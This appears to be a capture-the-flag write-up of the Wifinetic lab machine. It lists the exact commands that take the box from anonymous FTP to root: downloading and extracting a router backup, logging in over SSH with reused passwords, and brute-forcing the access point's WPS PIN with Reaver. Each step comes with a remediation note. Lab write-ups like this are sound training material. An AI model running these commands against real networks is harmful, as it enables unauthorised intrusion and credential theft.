Wifinetic
Summary
My found an FTP server accepting anonymous logins that exposed an OpenWrt router configuration backup. Extracting the archive revealed a plaintext WiFi pre-shared key inside the wireless configuration file; the same password had been reused as the SSH login for the 'netadmin' system account, giving an immediate shell and the user flag.
Once inside, I discovered that the 'reaver' WPS-attack binary had the CAP_NET_RAW Linux capability set, allowing a non-root user to send raw wireless frames without sudo. Reaver brute-forced the local access point's WPS PIN and recovered the WPA passphrase — which had been reused, again, as the root SSH password — completing full system compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 1
nmap -sV -sC -p- --min-rate 5000 -oN nmap_full.txt $TARGETExact commands 3
ftp $TARGETftp> ls -laftp> get backup-OpenWrt-2023-07-26.tar /tmp/backup-OpenWrt-2023-07-26.tarFixDisable anonymous FTP accessCritical
Exact commands 2
tar -xOf /tmp/backup-OpenWrt-2023-07-26.tar ./etc/config/wirelesstar -xOf /tmp/backup-OpenWrt-2023-07-26.tar ./etc/passwdFixPurge plaintext credentials from backup archives before storing or transferring themHigh
Exact commands 2
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null netadmin@$TARGET 'id; hostname; pwd'sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null netadmin@$TARGET 'cat /home/netadmin/user.txt'FixEnforce unique passwords — never reuse a network passphrase as a system account passwordCritical
Exact commands 3
iw devgetcap $(which reaver)iw dev wlan0 infoFixRemove CAP_NET_RAW from Reaver and uninstall offensive wireless tools from production systemsHigh
Exact commands 1
reaver -i wlan1 -b <AP_BSSID> -vvExact commands 1
sshpass -p '$PASSWORD2' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null root@$TARGET 'id; cat /root/root.txt'Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Exposed services
| 21/tcp | ftp vsftpd 3.0.3 |
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0) |
| 53/tcp | tcpwrapped |